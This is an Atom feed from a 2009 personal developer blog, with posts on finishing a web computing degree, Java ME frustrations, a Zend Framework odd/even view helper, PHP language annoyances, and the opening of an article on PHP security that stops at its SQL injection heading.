<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">

    <title type="text">Blog</title>
    <subtitle type="text">Blog:</subtitle>
    <link rel="alternate" type="text/html" href="http://rikkicarroll.com/index.php/site/index/" />
    <link rel="self" type="application/atom+xml" href="http://www.rikkicarroll.com/index.php/site/atom/" />
    <updated>2009-06-02T18:31:12Z</updated>
    <rights>Copyright (c) 2009, Rikki Carroll</rights>
    <generator uri="http://expressionengine.com/" version="1.6.6">ExpressionEngine</generator>
    <id>tag:rikkicarroll.com,2009:06:02</id>


    <entry>
      <title>University Retrospectively</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/university_retrospectively/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.47</id>
      <published>2009-06-02T12:37:11Z</published>
      <updated>2009-06-02T18:31:12Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Miscellaneous"
        scheme="http://www.rikkicarroll.com/index.php/site/category/miscellaneous/"
        label="Miscellaneous" />
      <content type="html"><![CDATA[
        <p>In this post I talk about the journey I have made going through a Undergraduate degree at the University of Kent. I have just finished my final year University exams and am eagerly awaiting results day on 19th June 2009. The last 3 years sure have gone quick and im very excited to see what the future holds for me!</p><h3>Preparing for University</h3>
<p>It was nearly 3 and a half years now when I decided that I was going to put myself through university and formally educate myself. I was very lucky to find my working/play passion early in life (around 16 years old) which was the design of computer software, particularly web based software. Two of my teachers should be credited for helping me to discover this passion: Mark Thomson (Oriel High School ICT Teacher) and Simon Rous (East Norfolk Sixth Form College ICT Teacher). Knowing the career path I wanted to take, there were primarily three decisions I had to make.</p>

<h4>Should I go to University?</h4>
<p>Much of the material I had read and many people had told me that web design/development is a very practical subject and universities tend to struggle keeping up with the fast pace of the continually evolving industry. Throughout college I offered to work on some projects with people on the Ultrashock Flash forums and it eventually led to me being asked to do quite a bit of freelance work. Not only did that set doubts in my mind but also I discovered that my year was the first year they were adding tuition fees of around £3000 per year. My mind and its decision process was like a ping pong game, rapidly backwards and forwards between the two outcomes.</p>

<p>In the end I decided to go for the following main reasons:</p>
<ul>
	<li>Up until this point I had lived at home which is a small village and didn't have knowledge of life skills such as proper money management, bill paying and house keeping.</li>
	<li>Not only is the web a fast paced industry, the computer industry is as a whole. The primary platform of the computer industry changes every so often and the rules change drastically. I wanted to get a solid foundation in the theory so I can apply this knowledge to any new platform and not just the web.</li>
	<li>I come from a small village in the UK with a population maybe hitting 10 thousand. I wanted to have the potential to meet new people, especially people who have the same interests and learn from them. </li>
</ul>

<h4>Should I go to the local University (University of East Anglia) or one further away?</h4>
<p>Much of this decision was dictated by what the courses were like on offer at each of the universities. I looked at the following three universities primarily:</p>
<ul>
	<li>UEA (University of East Anglia) - local</li>
	<li>Bournemouth University</li>
	<li>University of Kent</li>
</ul>
<p>Given that I wanted to meet new people and develop my life skills I decided to go to non-local university. In the end I chose to go to the University of Kent as I liked their course offering and the university itself the most.</p>

<h4>What course should I study.</h4>
<p>I knew my career path so the course options were thankfully relatively small. There were three main courses that I looked at:</p>
<ul>
	<li>Computer Science</li>
	<li>Web/Internet Computing Science</li>
	<li>Computer Science with Artificial Intelligence</li>
</ul>
<p>I ruled out Artificial Intelligence because I did not do mathematics at A-level which many of the universities required for this course. Also, it isn't directly relevant to my chosen career path. The decision between going with straight computer science or web/internet computer science was a more difficult one. On the one had i did not want to pidgeon-hole myself into a single area of Computing Industry too much, but on the other I did not like some parts of a traditional Computer Science degree (Law and Business modules etc). In the end I decided to go with the Web Computing degree at the University of Kent. I was surprised at their take on the Web Computing degree, which nobody else seemed to have. It is basically half Computer Science and half Multimedia Technology. So not only would I gain a fundamental knowledge of the underlying principles of Computer Science but also get to learn at a higher level with designing rich experiences for users. </p>

<h3>The first year (Stage 1)</h3>
<p>The first year had one big upside, and another huge downside. The upside was the course was mostly very interesting and I also got to meet very nice new people along with meeting my girlfriend to be. The major downside was that the studying that year counted for nothing. This is something I struggled with as I was thinking I had committed a year of my life, and a lot of money for this year to count for nothing. During the first year I studied the following subjects:</p>
<ul>
	<li>Managers and Organisations</li>
	<li>Introduction to Object Oriented Programming</li>
	<li>Introduction to Information Systems</li>
	<li>Computer Systems</li>
	<li>Further Object Oriented Programming</li>
	<li>Website Design</li>
	<li>Mathematics for Multimedia</li>
	<li>Interaction Design</li>
</ul>
<p>Apart from the single business module I absolutely loved this year of studies and they were generally very basic and straightforward. Oh.. nearly forgot. I also was fortunate to be offered a job at the University as a part-time web programmer working on their web systems and their public websites. </p>

<h3>The second year (Stage 2)</h3>
<p>This year I was much more comfortable with the degree as now it started to count. I also got promoted at the start of this year (after 8 months working at the University) to Senior Web Programmer which was an amazing achievement and one which I'm very proud of and grateful for the people that gave me the promotion. This year I studied the the following subjects:</p>
<ul>
	<li>Algorithms, Data Structures and Complexity</li>
	<li>Distributed Systems and Networks</li>
	<li>Operating Systems and Architecture</li>
	<li>Software Engineering Practice</li>
	<li>Database Systems</li>
	<li>Multimedia technology (audio and video)</li>
	<li>Internet and Multimedia Platforms (ASP.NET, Ecommerce, XML, Security)</li>
</ul>
<p>Funnily enough, the module I enjoyed most this year was not a directly web related one: Operating Systems and Architecture. In this module they taught us how operating systems are build and dissected the inner workings of the MIPS32 processor. I was very interested how these very low level aspects of computers work. I am naturally a person who likes to know what goes on "under the hood" and this module did exactly that.</p>

<h3>The final year (Stage 3)</h3>
<p>This year was very much different to the second one. First of all you had to invent and execute your own project start to finish and secondly the modules now moved into very new stuff and some of it even cutting edge. I also got to choose my modules from a selection this year and I ended up picking the following:</p>
<ul>
	<li>Advanced Programming Techniques (Shell scripting, C, JVM and Advanced Java Language Features)</li>
	<li>Computer security and Cryptography</li>
	<li>E-Commerce</li>
	<li>Mobile and Ubiquitous Computing</li>
	<li>Digital Photography</li>
	<li>Final Year Project</li>
</ul>
<p>My final year project was very interesting to carry out and also something that i am now very proud of. I build a "social network style" web application for the creative events industry for the run up to London 2012. This project was funded by a few parties such as University of Kent, Arts Council England. The project was also recently awarded the inspire mark from the Cultural Olympiad and is now officially recognized. You can find out more via it's the portfolio entry in the Work section. The best module this year had to be the final year project due to the recognition it is now receiving along with the scope it afforded for me to learn within the domain of building web applications.</p>


<h3>Final thoughts and the future</h3>
<p>So was University worth it? Looking back, I got really bored with it at some points but in the end, taking everything into account such as meeting my wonderful girlfriend, be offered the senior programmer job at the university and the knowledge that it had armed me with it was definitely worth it.</p>
<p>I am now looking forward to the future getting a full-time job, working with a talented, enthusiastic and exciting company on first rate products and services. I am primarily looking to either continue the web development career or start building mobile applications for platforms like iPhone, Palm WebOS and Google Android.</p>
      ]]></content>
    </entry>

    <entry>
      <title>Java ME development experience</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/java_me_development_experience/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.42</id>
      <published>2009-02-26T19:44:43Z</published>
      <updated>2009-03-05T10:06:44Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Design"
        scheme="http://www.rikkicarroll.com/index.php/site/category/design/"
        label="Design" />
      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <content type="html"><![CDATA[
        <p>In my final term at University I am studying a module called Mobile and Ubiquitous Computing. Most of this module is concerned with technologies surrounding cellular networks and mobile phones (although it does extend into other mobile devices such as PDAs).</p>

<p>The first assessment set for this module was to build a Tip Calculator in Java ME using the CLDC 1.1 and MIDP 2.1 development stacks. We had the option to use the relatively new LWUIT if we wished to as well. When I first found out about this assessment I was rather excited. Playing with the iPhone SDK last summer has given me a desire to experiment with building applications for mobile devices.</p><h3>Sun Wireless Toolkit</h3>
<p>Eager to get started I downloaded the required development kits to get started. Now this is where the excitment ended and nightmare ensued. The first insult to injury was that Sun have decided to not provide their wireless toolkit (which includes the required emulator) for Mac. This posed a bit of a problem as the assignment specification specifically stated it has to run in this particular emulator.</p>

<p>My first thought was to install a virtualization software and run Windows XP just for the assignment. I downloaded a copy of Sun&#8217;s Virtual box and used the IE testing images for Virtual PC to get a copy of Win XP running. However further problem came in trying to install java and the wireless toolkit on windows XP in Virtual Box. I don&#8217;t know what i was doing wrong, it just would not work. After about 3 days of tampering and hacking about i gave up on that approach and decided to try and find an alternative emulator, and then i will just test the application on a University windows machine before submission. </p>

<h3>Micro-emulator to the rescue</h3>
<p>Eventually I found a alternative was to use the Micro-emulator along with a Netbeans 6+ plugin which ties them together creating a slick development environment. This was fantastic, it worked perfectly! The only gripe came later when trying to use the LWUIT I had to re-complie the java source to run it on the windows emulator. Regular MIDP and LCDUI did not have this problem.</p>

<h3>LWUIT promised so much but eventually failed</h3>
<p>The Lightweight UI Toolkit is a relatively recent development from Sun which provides a UI layer to create much more rich User-Interfaces for the user. It also gives the developer much more control than LCDUI over the look and feel of the application. Everything was going very well with LWUIT until I found a bug which effected both the Wireless toolkit emulator and Micro-emulator which only allowed you to run the MIDlet once. If you exit the MIDlet and then try to start it again it simply wont display. That was the end of the road with LWUIT and i had to learn to give up control of the look and feel of the end application.</p>

<h3>LCDUI problems</h3>
<p>Discovering that using LWUIT was not feasible due to strange bugs that I could not find a workaround for, I switched to using LCDUI. LCDUI is a very simple User-Interface library, but its simplicity comes at the cost of no control over the look and feel of the end application. One of the requirements of the Tip Calculator was to make it easy to use in dim-lit restaurants. On the face this essentially means lots of contrast and big fonts. This is simply something outside of your control in LCDUI. The only way you can achieve this is by building your own components using the build in canvas, which means taking care of absolutely every aspect of every input mechanism, from rendering to interaction.</p>

<h3>The Tip Calculator</h3>
<p>Despite all the limitations, frustrations and walls I had to climb, I had to produce a result. That result ended up being what is shown in the screenshots below. I ended up having to write abstractions for most things as they are very primitive and did not support my goals to make a flexible, fully functioning Tip Calculator. One example is that i had to write a class to represent Money and provide calculations for that as there is no BigDecimal available in Java ME. Unfortunately using float or double for financial calculations is not a good idea because of their lack of precision and are unnecessary for this application. </p>
<p><img src="http://rikkicarroll.com/images/blog_images/tip-calc-input.png" alt="Tip Calculator application input form" width="560" height="368" /></p>
<p><img src="http://rikkicarroll.com/images/blog_images/tip-calc-output.png" alt="Tip Calculator application results form" width="560" height="345" /></p>

<h3>Java ME vs iPhone SDK</h3>
<p>After using Java ME, it is no wonder that Java ME applications never really took off with developers or the mainstream users. While it is designed for less capable hardware than the iPhone SDK it is a bit too limiting and should have already been superseded with a new technology (Google + Sun working together on Android maybe? - probably not, &#8220;its not Java&#8221; - hehe). The iPhone SDK in comparison gives you all the tools you need to create very rich experiences on a mobile device.</p>

<h3>Conclusion</h3>
<p>I think its fair to say that is the only time I will experience Java ME development. If i ever do mobile development in the future i will stick with the much nicer iPhone SDK.</p>
      ]]></content>
    </entry>

    <entry>
      <title>Striped tables with Zend_View_Helper</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/stripey_tables_with_zend_view_helper/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.41</id>
      <published>2009-02-18T01:11:04Z</published>
      <updated>2009-02-18T01:43:05Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Tutorials"
        scheme="http://www.rikkicarroll.com/index.php/site/category/tutorials/"
        label="Tutorials" />
      <category term="Education"
        scheme="http://www.rikkicarroll.com/index.php/site/category/education/"
        label="Education" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>I am currently working quite a lot with the Zend PHP Framework. I have grown to really like ZF (Zend Framework). While it does have a rather steep learning curve it is architected very neatly and offers lots of functionality for free.</p>
<p>I was recently constructing dynamic tables and wanted to give every other row a different class. Rather than clutter my view with logic to do this, I decided to create a custom view helper. I decided to make the view helper generic so it can be used to switch between two pieces of content each time it is called. This would mean I could use it for other things where alternating content is also needed.</p> <h3>The custom view helper code <small>(RC_View_Helper_OddEvenSwitcher.php)</small></h3>
<p>Below is the code for the custom view helper along with an example usage.</p>
<pre class="textmate-source"><span class='linenum'>    1</span> <span class="source source_php"><span class="source source_php source_php_embedded source_php_embedded_block source_php_embedded_block_html"><span class="punctuation punctuation_section punctuation_section_embedded punctuation_section_embedded_begin punctuation_section_embedded_begin_php">&lt;?php</span>
<span class='linenum'>    2</span> 
<span class='linenum'>    3</span> <span class="comment comment_block comment_block_documentation comment_block_documentation_phpdoc comment_block_documentation_phpdoc_php"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">/**</span>
<span class='linenum'>    4</span>  * Provides a way for a view to easily output alternate content each
<span class='linenum'>    5</span>  * timethe oddEvenSwitcher is called. It is particularly helpful 
<span class='linenum'>    6</span>  * in creating tables and generating odd/even classes for each row.
<span class='linenum'>    7</span>  *
<span class='linenum'>    8</span>  * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@version</span> 1.0
<span class='linenum'>    9</span>  * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@author</span> Rikki Carroll
<span class='linenum'>   10</span>  <span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">*/</span></span>
<span class='linenum'>   11</span> <span class="meta meta_class meta_class_php"><span class="storage storage_type storage_type_class storage_type_class_php">class</span> <span class="entity entity_name entity_name_type entity_name_type_class entity_name_type_class_php">RC_View_Helper_OddEvenSwitcher</span> <span class="storage storage_modifier storage_modifier_extends storage_modifier_extends_php">extends</span> <span class="entity entity_other entity_other_inherited-class entity_other_inherited-class_php">Zend_View_Helper_Abstract</span>
<span class='linenum'>   12</span> {</span>
<span class='linenum'>   13</span>     <span class="comment comment_block comment_block_documentation comment_block_documentation_phpdoc comment_block_documentation_phpdoc_php"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">/**</span>
<span class='linenum'>   14</span>      * How many times the view helper has been called.
<span class='linenum'>   15</span>      * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@var</span> int 
<span class='linenum'>   16</span>      <span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">*/</span></span>
<span class='linenum'>   17</span>     <span class="storage storage_modifier storage_modifier_php">public</span> <span class="storage storage_modifier storage_modifier_php">static</span> <span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>callCount</span> <span class="keyword keyword_operator keyword_operator_assignment keyword_operator_assignment_php">=</span> <span class="constant constant_numeric constant_numeric_php">0</span><span class="punctuation punctuation_terminator punctuation_terminator_expression punctuation_terminator_expression_php">;</span>
<span class='linenum'>   18</span>     
<span class='linenum'>   19</span>     <span class="comment comment_block comment_block_documentation comment_block_documentation_phpdoc comment_block_documentation_phpdoc_php"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">/**</span>
<span class='linenum'>   20</span>      * Each time this method is called it keeps an internal count of 
<span class='linenum'>   21</span>      * how many times it has been called and if that count is even, 
<span class='linenum'>   22</span>      * it will return the even content, otherwise the odd content will 
<span class='linenum'>   23</span>      * be returned.
<span class='linenum'>   24</span>      * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@param</span> mixed $evenContent The value to return if even
<span class='linenum'>   25</span>      * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@param</span> mixed $oddContent The value to return if odd
<span class='linenum'>   26</span>      * <span class="keyword keyword_other keyword_other_phpdoc keyword_other_phpdoc_php">@return</span> mixed Either the even content passed in or odd content.
<span class='linenum'>   27</span>      <span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">*/</span></span>
<span class='linenum'>   28</span> <span class="meta meta_function meta_function_php">    <span class="storage storage_modifier storage_modifier_php">public </span><span class="storage storage_type storage_type_function storage_type_function_php">function</span> <span class="entity entity_name entity_name_function entity_name_function_php">oddEvenSwitcher</span><span class="punctuation punctuation_definition punctuation_definition_parameters punctuation_definition_parameters_begin punctuation_definition_parameters_begin_php">(</span><span class="meta meta_function meta_function_arguments meta_function_arguments_php"><span class="meta meta_function meta_function_argument meta_function_argument_no-default meta_function_argument_no-default_php"><span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>evenContent</span></span>,<span class="meta meta_function meta_function_argument meta_function_argument_no-default meta_function_argument_no-default_php"> <span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>oddContent</span></span></span>)</span>
<span class='linenum'>   29</span>     {
<span class='linenum'>   30</span>         <span class="storage storage_type storage_type_php">self</span><span class="keyword keyword_operator keyword_operator_class keyword_operator_class_php">::</span><span class="variable variable_other variable_other_class variable_other_class_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>callCount</span><span class="keyword keyword_operator keyword_operator_increment-decrement keyword_operator_increment-decrement_php">++</span><span class="punctuation punctuation_terminator punctuation_terminator_expression punctuation_terminator_expression_php">;</span>
<span class='linenum'>   31</span> 
<span class='linenum'>   32</span>         <span class="comment comment_line comment_line_double-slash comment_line_double-slash_php"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">//</span> if the call count is even return the even content
</span><span class='linenum'>   33</span>         <span class="keyword keyword_control keyword_control_php">if</span> ((<span class="storage storage_type storage_type_php">self</span><span class="keyword keyword_operator keyword_operator_class keyword_operator_class_php">::</span><span class="variable variable_other variable_other_class variable_other_class_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>callCount</span><span class="keyword keyword_operator keyword_operator_arithmetic keyword_operator_arithmetic_php">%</span><span class="constant constant_numeric constant_numeric_php">2</span>) <span class="keyword keyword_operator keyword_operator_comparison keyword_operator_comparison_php">==</span> <span class="constant constant_numeric constant_numeric_php">0</span>) {
<span class='linenum'>   34</span>             <span class="keyword keyword_control keyword_control_php">return</span> <span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>evenContent</span><span class="punctuation punctuation_terminator punctuation_terminator_expression punctuation_terminator_expression_php">;</span>
<span class='linenum'>   35</span>         }
<span class='linenum'>   36</span> 
<span class='linenum'>   37</span>         <span class="comment comment_line comment_line_double-slash comment_line_double-slash_php"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_php">//</span> otherwise return the odd content
</span><span class='linenum'>   38</span>         <span class="keyword keyword_control keyword_control_php">return</span> <span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>oddContent</span><span class="punctuation punctuation_terminator punctuation_terminator_expression punctuation_terminator_expression_php">;</span>
<span class='linenum'>   39</span>     }
<span class='linenum'>   40</span> 
<span class='linenum'>   41</span> }</span></span></pre>
<p>To use this view helper to alternate a class on table rows you would place the following in your view files as follows:</p>
<pre class="textmate-source"><span class='linenum'>    1</span> <span class="text text_html text_html_basic"><span class="meta meta_tag meta_tag_inline meta_tag_inline_any meta_tag_inline_any_html"><span class="punctuation punctuation_definition punctuation_definition_tag punctuation_definition_tag_begin punctuation_definition_tag_begin_html">&lt;</span><span class="entity entity_name entity_name_tag entity_name_tag_inline entity_name_tag_inline_any entity_name_tag_inline_any_html">tr</span> <span class="entity entity_other entity_other_attribute-name entity_other_attribute-name_html">class</span>=<span class="string string_quoted string_quoted_double string_quoted_double_html"><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_begin punctuation_definition_string_begin_html">"</span><span class="source source_php source_php_embedded source_php_embedded_line source_php_embedded_line_html"><span class="punctuation punctuation_section punctuation_section_embedded punctuation_section_embedded_begin punctuation_section_embedded_begin_php">&lt;?php</span> <span class="support support_function support_function_construct support_function_construct_php">echo</span> <span class="variable variable_other variable_other_php"><span class="punctuation punctuation_definition punctuation_definition_variable punctuation_definition_variable_php">$</span>this</span><span class="keyword keyword_operator keyword_operator_class keyword_operator_class_php">-&gt;</span><span class="meta meta_function-call meta_function-call_object meta_function-call_object_php">oddEvenSwitcher</span>(<span class="string string_quoted string_quoted_single string_quoted_single_php"><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_begin punctuation_definition_string_begin_php">'</span><span class="meta meta_string-contents meta_string-contents_quoted meta_string-contents_quoted_single meta_string-contents_quoted_single_php">odd</span><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_end punctuation_definition_string_end_php">'</span></span>, <span class="string string_quoted string_quoted_single string_quoted_single_php"><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_begin punctuation_definition_string_begin_php">'</span><span class="meta meta_string-contents meta_string-contents_quoted meta_string-contents_quoted_single meta_string-contents_quoted_single_php">even</span><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_end punctuation_definition_string_end_php">'</span></span>)<span class="punctuation punctuation_terminator punctuation_terminator_expression punctuation_terminator_expression_php">;</span> <span class="punctuation punctuation_section punctuation_section_embedded punctuation_section_embedded_end punctuation_section_embedded_end_php"><span class="source source_php">?</span>&gt;</span></span><span class="punctuation punctuation_definition punctuation_definition_string punctuation_definition_string_end punctuation_definition_string_end_html">"</span></span><span class="punctuation punctuation_definition punctuation_definition_tag punctuation_definition_tag_end punctuation_definition_tag_end_html">&gt;</span></span>
<span class='linenum'>    2</span>     <span class="comment comment_block comment_block_html"><span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_html">&lt;!--</span> table cells here <span class="punctuation punctuation_definition punctuation_definition_comment punctuation_definition_comment_html">--&gt;</span></span>
<span class='linenum'>    3</span> <span class="meta meta_tag meta_tag_inline meta_tag_inline_any meta_tag_inline_any_html"><span class="punctuation punctuation_definition punctuation_definition_tag punctuation_definition_tag_begin punctuation_definition_tag_begin_html">&lt;/</span><span class="entity entity_name entity_name_tag entity_name_tag_inline entity_name_tag_inline_any entity_name_tag_inline_any_html">tr</span><span class="punctuation punctuation_definition punctuation_definition_tag punctuation_definition_tag_end punctuation_definition_tag_end_html">&gt;</span></span></span></pre>
<p>The nice thing about this approach is that you do not need to keep a count in the view of how many rows you have output in your view. You simply call the view helper and it automatically keeps track of everything and returns the appropriate content - easy!</p>

<h3>How to build custom view helpers</h3>
<p>Building a custom view helper is very easy in the Zend Framework. The basic method is to:</p>
<ol>
<li>Create a file which the Zend Loader can see. Here I have used the same naming conventions as the Zend Framework so that I can automatically load any extensions to the Zend Framework without modifying Zend_Loader. In this case I created a file called OddEvenSwitcher.php in the &#8220;<include_path>/RC/View/Helper/&#8221; directory.</li>
<li>The class name should be the name of the directories from the include path all the way to the file you are writing the class in. So RC/View/Helper/OddEvenSwitcher.php becomes RC_View_Helper_OddEvenSwitcher.php. You basically just replace forward slash with underscore.</li>
<li>The class you define must extend Zend_View_Helper_Abstract.</li>
<li>The final thing to do is declare a method with the same name as your class but instead of the first letter being upper-case, it needs to be lowercase. You can also define whatever your parameters you want</li>
<li>Essentially the name of this method is what you will use in the view. The class loading and instantiation is done automatically for you.</li>
</ol>
<p>I am hooked on view helpers and have since gone on to create a mini-library of them for the project I am working on. They come with the nice mentality that you just write once, forget how you did it and just use them - cuts down on the code repetition and thinking you have to do, which is always good. If you have any thoughts, comments or suggestions please let me know by commenting below.</p>

<p>&nbsp;</p>
      ]]></content>
    </entry>

    <entry>
      <title>Annoyances with PHP</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/annoyances_with_php/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.40</id>
      <published>2009-02-06T09:21:14Z</published>
      <updated>2009-03-05T10:06:15Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Tutorials"
        scheme="http://www.rikkicarroll.com/index.php/site/category/tutorials/"
        label="Tutorials" />
      <category term="Work"
        scheme="http://www.rikkicarroll.com/index.php/site/category/work/"
        label="Work" />
      <content type="html"><![CDATA[
        <p>Writing PHP is a daily occurrence for myself in both studies and for my day job. In fact, thinking about it, I probably write more PHP than I do English - yikes!
In this article, I will explain a sample of the issues I encounter with PHP on a daily basis and wish were different. However, I must say that I am not saying I don&#8217;t like PHP, in fact its my language of choice for most tasks due to convenience, simplicity and familiarity.</p><h3>The indirection operator</h3>
<p>This is probably the single, most annoying thing about PHP. It uses such an odd combination of -> to indicate a method call on an object:</p><p>
<code>$object->method();</code>
</p><p>The reason I find this annoying is that it is very prone to typing mistakes. It requires you to not only type an extra character (compared to other languages) but switch case in the process.</p>
<p>I guess the reason for this is that the common alternative, the dot, is used for string concatenation. And I’m pretty sure (although please correct me if I’m wrong), but PHP cannot do operating overloading. Operating overloading is where the same symbol can be used for different things in different contexts. So for example in Java you can use the + symbol to add two numerical values together, and also use it for string concatenation:</p><p>
<code><br />
$x = 1 + 2; // result: 3<br />
$x = ‘hello ‘ + ‘world!’; // result: hello world!<br />
</code>
</p><p>I would love to see this operator changes to dot, like just about any other language in existence.</p>

<h3>No type hinting for scalar types</h3>
<p>While PHP is not a statically typed language, and nor should it be it has recently introduced type hints for methods. However, the odd thing is that this type hinting can only be used with objects or arrays (no int, string etc&#8230;). Is it my lack of understanding or does this seem like a serious omission. The following code illustrates type hinting:</p><p>
<code><br />
public function add(array $data, MyObject $object)<br />
{
	//...<br />
}
</code>
</p><p>The above code will cause an error if the method is passed the data parameter with something other than an array and likewise for the object parameter. This reduces all the type checks you have to do in the body of a method. It would be nice if PHP could do this for scalar types too.</p>

<h3>Register globals</h3>
<p>As a security conscious developer and also a developer that likes to write code that can easily be read register globals is another one of the things annoying about PHP.</p>
<p>For people not familiar register globals is a feature of the PHP interpreter which automatically GET and POST contents as variables in the global scope. So if you had a get parameter called name, there would automatically be a variable in the global scope called $name containing the value.</p>
<p>This presents two core issues. The first is that it can be a security risk if variables are not explicitly set before usage in a PHP program and an attacker could manipulate GET and POST contents to modify program behavior.</p>
<p>The second problem with register globals is that it is not intuitive to a programmer than is new to PHP unless they have knowlegde of the behaviour. They will just see that a variable is being used. Then when they try to find where it is coming from they simply will not find it. Now if this is a particularly complex application with lots of includes this can cause countless wasted hours looking for where the variable is set before finding in the PHP manual that the interpreter did this automatically for you. Now you may argue that $_GET, $_POST&#8230; are also set automatically. However, the core difference is that these are self documenting in that the $_GET part indicates that it came from GET, likewise for all the other super globals. </p>

<h3>No namespaces</h3>
<p>This is something that is coming in PHP 5.3 and I am looking forward to using it. However, current PHP versions still do not have them so the following is still true at time of writing.</p>
<p>When a application grows beyond the simple stage, developers look for a way of organizing the code into logical structures. Now there is one particular code-base that I maintain which simply uses classes with all static methods to get around the issue.This is something that truly frustrates me from time-to-time as it creates a interaction graph which is so tightly coupled, you struggle to add features or re-factor it. </p>
<p>By interaction graph I mean, if you drew a diagram where each class is a circle, each method is a circle within the class circle and the calls from one class to another are arrows. This results a very dense graph where nearly all of the nodes are connected to each other. I strive for my interaction graphs to have as few connections as possible and try to keep a very simple and hierarchal when possible. This results in the code being less-coupled and more flexible.</p>
<p>Namespaces allow you to group functions or classes into packages which you can then load and reference. If you want to find out more, visit the <a href="http://www.php.net/">php.net</a> website.</p>

<h3>All API functions in global scope</h3>
<p>This one is related to the no namespaces problem. In a PHP script all of the API functions are available without any loading in all scopes.</p>
<p>About a year and a half ago, my employer decided to upgrade PHP from version 4 to 5 (finally!). Anyway, a new function was introduced into PHP called str_ireplace(). Because PHP 4 did not have this function, it was implemented as a custom function. When we upgraded PHP this caused fatal errors on every page of the website - great! Now while this particular example probably could have been avoided as it was inevitable that this function would be introduced into PHP at some stage, it still illustrates a problem. What if you declare a function or class which the PHP API decides to override later. Not only do you have to then rename your class/function (assuming the new built in one does not match your functionality) and then change every point at which the class or function is used.</p>
<p>In other languages such as Python, Java and C, functions are optionally loaded using some import mechanism. Java and python also provide namespaces on top of this so that two separate modules of functionality can have the same name without conflicting. Namespaces and optional inclusion of functions is something I would like to see.</p>

<h3>Summary</h3>
<p>While much of this article explains the issues I encounter with PHP and it can seem very against PHP, I have not discussed all the things I like about PHP. And for every thing I do not like, there is about five I do like. This was just a way of sharing the annoyances I face with PHP every day.</p>
<p>Is there anything that really annoys you? If so post a comment and let us all know.</p>

<p>&nbsp;</p>
      ]]></content>
    </entry>

    <entry>
      <title>Getting started with security in PHP</title>
      <link rel="alternate" type="text/html" href="http://www.rikkicarroll.com/index.php/site/getting_started_with_security_in_php/" />
      <id>tag:rikkicarroll.com,2009:index.php/site/index/1.38</id>
      <published>2009-02-04T21:56:44Z</published>
      <updated>2009-03-05T10:03:45Z</updated>
      <author>
            <name>Rikki Carroll</name>
            <email>rikki1234@gmail.com</email>
            <uri>http://www.rikkicarroll.com</uri>      </author>

      <category term="Code"
        scheme="http://www.rikkicarroll.com/index.php/site/category/code/"
        label="Code" />
      <category term="Tutorials"
        scheme="http://www.rikkicarroll.com/index.php/site/category/tutorials/"
        label="Tutorials" />
      <content type="html"><![CDATA[
        <p>This article aims to introduce you to security in PHP. During my daily Job I encounter small scripts and even full systems that have some form of security vulnerability. The main vulnerabilities I find are SQL injection and Cross Site Scripting.</p><h3>SQL Injection</h3>
